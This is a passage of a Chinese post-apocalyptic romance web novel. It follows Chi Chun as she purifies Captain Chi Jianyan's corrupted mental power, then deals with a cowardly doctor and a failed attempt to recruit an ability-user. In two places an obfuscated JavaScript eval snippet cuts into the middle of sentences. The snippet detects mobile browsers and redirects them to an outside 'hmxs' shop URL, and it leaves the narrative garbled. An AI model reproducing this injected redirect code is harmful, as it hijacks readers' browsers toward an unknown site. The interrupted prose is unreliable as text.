不一会，他的精神力就开始本能地抵抗和反击。 红雾分散成条状，像是绽开的莲花瓣，将她的精神力团团围住，再倏然拢紧，刺下。 这样的碰撞只带来疼痛，而无其他感受。疼痛全都回流至脑部，迟椿感觉到神经跳动的抽痛。 但当他俩的精神力相融时，那疼痛中又多了些丝丝缕缕的酥痒。 迟椿忍耐着这复杂的感受，耐心操控精神力，直到找到那些藏在红雾里的黑色污染体。 她的精神力逐一包裹住那些污染体，再像清水濯洗污秽一样，将其缓慢剥离。 这过程必然痛苦，池见衍冒下冷汗，浑身肌肉紧绷，起伏的青筋阵阵鼓跳着。 但又带来不可言说的爽意。 污染体被剥离，精神力甩掉粘附已久的累赘，重新变得清爽、干净。 而他畸变的部分也在消褪，鳞片缓慢蜕下，猩红的蛇信子变回了柔韧的舌头。 虽然是浅层净化，但对精神力的消耗也不小。 不一会儿，迟椿就觉得有些疲累。 除此之外，她的精神力也在微微发热。 浅白色的精神力一点点融入红雾，似在与其相融，又仿佛在吞噬它们。 而当净化接近尾声时，她的精神力中忽然凝结出一个小小的“晶体”。 “晶体”被精神力包裹着，仅黄豆大小，泛出晶莹剔透的红色光泽。 她伸出手，捉住那颗“晶体”。 拿近细看，她才发现是枚鳞片。 与池见衍脖子上的鳞片别无二致。 她看起来并不觉得奇怪，习以为常地收下这枚鳞片。 就在她准备离开的时候，昏迷不醒的池见衍忽然抬起眼帘，一把抓住她的腕子。 他的眼睛还覆着层薄薄的膜——那是蛇类蜕皮的征兆。 很快，那层膜也脱落了，露出双狭长的狐狸眼。 他还在疼痛喘息着，视线也涣散到对不准焦。不过很快，他的呼吸平缓下去。 “迟小姐，”他坐起身，“这就要走了吗？” 战术背心被他丢在一边，仅穿了件深色紧身作战服，勒出线条紧实的肌肉，加之他时常一副散漫姿态，看起来不像个经验丰富的守序者，反而格外骚气。 面对他突然醒来的状况，迟椿神情自若：“我还需要把安抚剂的废管还给医生。” 他手上稍一用力，将她拉近：“这次也是安抚剂的功效？” “池队长应该看见了剩下的针管。” “剩下的针管……”池见衍扫了下自己的胳膊。 那支针管甚至还扎在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812713|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的手臂上，根本没拔下来。 药剂早就注射完了，血顺着他胳膊流下，针孔附近已经有些青肿。 他笑笑：“迟小姐煞费苦心，这样直截了当，也省去了解释的麻烦。” “毕竟时间宝贵。” “但也不意味着可以把我当傻子糊弄。” 迟椿迎上他的视线：“池队长刚醒的时候，我还以为听见的第一句话会是谢谢。” “多谢，”池见衍缓声说，“希望不太晚。” “不客气。”迟椿语气温和，“可以松开手了吗？” 池见衍收回手，撑地起身。 他拔下胳膊上的废管，简单处理起扎伤，一时没有提起她异能的事。 外面的门把手被人拧响。 但迟椿提前锁了门，那人没能拧开，在门外喊：“队长，迟……椿，情况还好吗？” 迟椿听出是丘回，他叫她名字时还不太习惯。 “已经注射了药剂，精神力也平稳下来了。”她拿着废管往外走，打开门。 房门一开，丘回就感觉到了充斥在房中的精神力痕迹。 虽然不剩多少了，可也能从中感知到混乱、狂躁的情绪。 他愣住，看向倚靠着墙的池见衍。 医生在这时赶来，脊背微躬，步伐不稳。 丘回转过身，一把扯住他的领子。 他暴怒道：“你的异能呢？被狗吃了？！队长的精神力狂化成这样，你没感觉到半点儿？竟然让一个普通人来送安抚剂，闹出人命怎么办，你担责吗？！” 那个在迟椿看起来十分漂亮的男人，表现出了与他的样貌同样顶级的软弱。 他被惊吓出眼泪，烟灰色的眼睛像是蒙上层水雾，泪蒙蒙的。 嘴上却骂道：“你这个只知道动手的蠢货，冲我发什么火！送药剂本来就是她的任务，要是她连这点事都办不好，跟来做什么？再说了，我可不能出什么事，万一我死了，谁来配药，你回去要怎么交代？松手，松开！” “我没事。”迟椿及时开口，“而且池队长的精神力也已经稳定下来了。” “丘回，松开。”池见衍下了命令，神情有些讥诮，“他的话也不无道理，况且我们也不能苛求一个软弱的懦夫去冒险。” 丘回松开手，推他一把。 被称作懦夫的医生踉跄一步，勉强站稳。 他被掐得满脸涨红，咳嗽不止，蓄满眼眶的泪水不住往下滚落，让他看起来像是一尊随时可能被敲破的精致瓷器。 但这尊瓷器无疑是劣质的，他捂着嗓子，用有些嘶哑的嗓音斥责：“你还敢冒犯我，等回到基地，你会知道自己要付出什么代价！” 丘回不屑与他多说，上前查看池见衍的情况。 医生不适地揉着喉咙，面色却愈发潮红——他敏锐探到了一点异于常人的精神力。 那些精神力零散分布在半空中，让他断断续续感知到鲜绿的生机。 而他的精神力正迫切渴望与其相融。 他深知这精神力的来源。 医生急切呼吸着，略显涣散的视线飘忽着投向迟椿。 他嗅闻着，吞咽着，手不自觉开始抖。 尤其是刚才经历过剧痛折磨的肩胛骨，陡生出酸麻的痒，渴望着这精神力的净化与安抚。 他开始不受控地胡思乱想，要是他能得到净化，要是他能得到…… 那该多—— “医生。”池见衍恰好从旁路过，他停下，斜睨过视线。 医生回神，艰难维持着神智，问：“什么事？” “收起你那副浪荡相，看起来和要发情的畜生没什么两样。” 14.第 14 章 天色渐晚，丘回顺着墙外的排水管爬上顶楼。 他没一会儿就回来了，向池见衍汇报说：“队长，观察过了，顶楼离那堵砖墙很近，楼房和墙中间空间狭窄，也没有丧尸。如果没有阻隔，可以直接跳过去。” “异能者的情况？” “就在砖墙另一边，约莫五公里。” 池见衍很快做下决断：他和丘回步行前往那边找异能者，迟椿和医生则留在这里。 医生惊慌道：“要我留在这儿？在这个丧尸扎堆的鬼地方？” “医生，你应该清楚，”丘回看一眼迟椿，也算给她解释，“探测仪只能检测到大群丧尸，而没法捕捉到零散分布的丧尸。墙那边以山路为主，建筑少，几乎没有躲避点，也没有车辆，只能步行。综合考量下来，你们留在这里更安全。” 池见衍笑笑：“你要想去，也可以，还能顺便帮丘回背点儿子弹。” “不去！我不去！”医生忙拒绝，“你们得尽快回来，随时保持联系——还有，我让秋副队长帮忙申请了精神力解禁令，解禁5%，再过不久，应该就能生效了，说不定能有用。” 以防精神力失控暴走，守序者都佩戴着中心城下发的精神力限制器，将他们的精神力限制在50%以内。虽然是个束缚，可也是对他们的一种保护。 丘回一愣：“秋副队长？可他会帮——” 刚说到一半，他就感觉到精神力有所增长。 “好吧，”他拎起枪，“是我对他有偏见。” 池见衍扫一眼迟椿，须臾又收回视线，说：“走吧。” 两人相继跃出窗户，又顺着排水管，摸黑往顶楼爬去。 一时间，昏暗无光的理发店里死寂无声，只剩下迟椿和医生两个人。 医生拎着保温箱，缩在角落里，唯恐哪里蹦出只丧尸来。 迟椿记挂着包里的小怪物，想找个地方打开包看一看，可刚往外走一步，就听见医生开口问：“你去哪儿？” “出去一下。” “你的职责是保护好我，万一你走了，来了丧尸怎么办？我可不能死。” 迟椿俯视着他，看向那张完美到无可挑剔的面孔。 因为反光，那副银丝眼镜模糊了他的眸子，看不清他的眼神如何。 可他面色惨白，脸上的泪痕还没擦净，仿佛沾了血的唇瓣轻轻颤抖着，显得可怜兮兮。 一个胆小软弱的卑劣货色，不免让人心生耍弄的心思。 她久久望着他，用一种堪称温情的目光。 医生问：“你看我做什么？” “没什么。”迟椿说，“只是有些好奇，毕竟很少有人能这样心安理得地无理取闹。” 话落，她看见他的嘴角以肉眼可见的速度压平，显然是生气了。 他不快道：“你只需要保护好我就行了，不然就算你能去往基地，也没什么好下场。” “丢下你又会怎样呢？”她忽然说。 医生怔住：“你、你说什么？” 迟椿轻声细语：“现在就我们两个人，不论发生什么，想必也不会有其他人知道。你太软弱了，也没有能力对付丧尸，无疑是个累赘。或许你对他们两个人有用处，可以帮忙调配药剂，可对我而言却是个没用的废物——抱歉，这话可能有些直白，但事实的确如此，你不仅需要我的保护，还总是惹人生气。” 医生面色惊恐：“你在说什么啊！” 迟椿从中攫取到一点微妙的趣味，她继续道：“去打开那扇卷闸门怎么样？我可以找个地方躲起来，这几年我已经习惯躲避丧尸，这对我不算件难事。” 她神情温和，说出的话却让医生面露惊恐：“你威胁我？” 迟椿笑了笑：“只是开个玩笑，看医生你太紧张了而已。我还没被吓傻，清楚越是这种时候，同伴远比私怨重要。” 话落，她转身往外走。 谁知医生误以为她真打算把他丢在这儿，顿时慌了神。 “你不能——”他扶着墙起身，踉跄往前，“你不能把我丢在这儿！” 迟椿感觉到手臂被人拽住，她一顿，转身看他。 入眼就是双泪眼朦胧的眼睛。 像是蒙了层湿漉漉的雾气，眼白被泪水洇红，看起来惊恐万状。 他死死攥着她不肯放开，语无伦次：“不准开门！不能把我丢在这儿，那帮恶心东西会吃了我的，恶心，好恶心！我不能死，不能死！” 听起来是威胁，但更像虚张声势。 尤其是他的手，一直在不受控制地轻颤，指腹也攥得发白。 迟椿心头掠过点讶然。 这人简直是……又坏又怂。 她忽然问：“那么，我为什么要考虑你。” “为什么？这还需要理由？”医生恶狠狠道，“不然你一定会后悔。” 他神情凶狠，可那双眼睛湿得更厉害，仿佛随时会溢出泪水，瞳孔也在颤，始终没法完全聚焦。 当尾音落下时，他重重吞咽了下，显出无意识的惧意和哀求。 这让迟椿生出一种错觉：似乎现在不论她要求他做出何等过分的事，他都会答应。 她正要开口，余光忽然瞥见门口的背包动了下。 她收敛了那点恶趣味。 “我没有想丢下你，只是要拿东西。”迟椿偏过身，让他看见放在门口的背包，她往外走一步，顺手拿起，从里面掏出一包压缩饼干，递给他，“已经一天没吃过东西了，要吃点饼干垫垫吗？现在煮罐头，很容易引来丧尸的注意。” 医生一下松开她，又羞又恼，或是想到自己刚才低声下气的样，恨不得将她嚼个烂碎。 “不用！”他俨然忘记刚才还在求情，不快拂开她的手，“我不用吃东西。” 不用吃东西？ 迟椿正奇怪于他的说法，忽注意到另一件事—— 他的胳膊上不知道被什么刺出了一个洞，像是针眼，但比那大一点，直径约莫一毫米。 怪的是，这伤口有些深，也不像陈年旧伤，却没出血。 不等她细看，他就已经垂下胳膊，恢复了没精打采的颓丧样，走到另一边了。 她则趁光线暗，迅速打开盒子看了眼里面的畸形种。 那只小怪物瘫在盒子里面，一动不动。 她往它上面丢了块压缩饼干。 下一秒，它就开始蠕动，像是沼泽吞没东西一样，“吞”下了那块压缩饼干。 外面丧尸的嚎叫始终没有停歇过，两人都不敢闭眼，紧锁门窗，等着池见衍和丘回。 天蒙蒙亮的时候，他俩回来了，身上带伤，脸色都不算好看。 连惯常笑眯眯的池见衍都有些郁沉。 迟椿看出不对，却没问。 医生则直接打听起结果：“那个异能者呢？没和你们一起回来？没见着人，还是死了？” “见到了。”丘回扯下脏了的绷带，重新扯了条往手上裹，“他不肯去，还打了一架。” 医生愣了，不可置信：“不肯？怎么可能呢，那可是安全区。” 池见衍微微冷笑：“恐怕安全区会妨碍他占山为王的本事。” 医生不解：“什么意思？” 丘回解释：“我和队长一路追踪他的踪迹，顺着盘山公路找到了一处村子。刚进村口就撞上了那个异能者，他不同意去基地，我本来想给他介绍下安全区的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819358|190120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况，他却直接动了手，不肯让我们进村。” 迟椿闻言，想到那天遇见的带着狼狗的男人。 看起来虽然凶了点，可并非是不近人情的模样。 医生则听得直皱眉，脸色格外难看：“这人是个傻子？好好的安全区不去，待在深山老林里做什么——池队长，现在你满意了？冒险跑到这鬼地方来，再两手空空地回去，你——” 他忽然住声。 不知什么时候，池见衍又面带笑意。 他笑眯眯看着他：“怎么不说了，继续啊。” 医生推了推眼镜，低下脑袋：“说了也没用，那现在怎么办，直接回去吗？” “不。”池见衍简单处理着胳膊上的伤口，“挑个时间再去一次。” 医生大惊：“还不死心？” “他的异能不错，已经能具象化精神体，如果被其他基地的人找到，会是不小的威胁。”池见衍咬住纱布的一端，系紧，“你跟我来——丘回，保护好迟小姐。” 丘回：“是！” 迟椿目送着他和医生去了另一间房，转而看向丘回。 后者看似站姿随意，余光却始终注意着她。 保护吗？ 在她看来更像是监视。 她目光沉静地看了眼门口，忽然问：“你抽烟吗？” 丘回一愣。 迟椿再度看向他，笑说：“闻到了一点烟草味。” “还有吗？”丘回不大自在地拍了两下衣袖，“出去找人的时候抽了几根，不好意思，我还以为味道已经散了。” “没关系，只是想到现在已经很难找到烟了，和我们同行的那位老师也抽。” 丘回笑：“就算在基地，这东西也算硬通货。还有人尝试在基地里种烟草，不过目前没能成功，都是从外面找来的货。” “我和我丈夫找了好几年，也没有发现基地。” “很正常，他们使了些障眼法，只需要一点精神力。”丘回放松下来，抱臂靠着墙，“至于你丈夫……我很抱歉，这两年我们一直在外面找幸存者，可还有很多地方没去过。” “不用为这些事道歉，反而是我应该谢谢你们。”迟椿轻声说，“至少现在知道了，基地不是一个虚构出来的地方，不过——” 她忽然住声，倏地看向门口。 丘回即刻警觉，拔出腰间的军用匕首，压着声问：“怎么了？” 迟椿同样放小音量：“我好像……听见了声音，就在外面。” 丘回顺着她手指的方向望去。 天光渐亮，眼前是条狭长的走廊，直接出门左转，是另外几间房，而如果顺着走廊再往前走，就是理发店的大厅。 他记得很宽敞，还有不少能藏人的柜子。 他隐约看见卷闸门的一角，问：“门还关着？” “没有动过，可是……”迟椿面露慌意，像是回忆起了什么极为可怕的事，“之前我们出去搜物资，有丧尸顺着排水管爬了上来。” “那很可能是在进化。”丘回上前，将她护在身后，“你就在这里，我出去检查下其他几间屋子。” 迟椿：“我和你一起去吧，你一个人太危险了。” “不用，”丘回掂了掂手里的匕首，“还有这玩意儿。” “那……小心。” “嗯。” 丘回放轻步子，缓慢往外挪移。 很快，他的身影就消失在走廊尽头。 迟椿收敛神情间的担忧，也出了门。 她往左瞥了眼，几间房的门都大敞着，唯有一间房门紧闭。 她悄声上前，缓慢靠近那扇房门，刚贴上去，就听见了里面的说话声。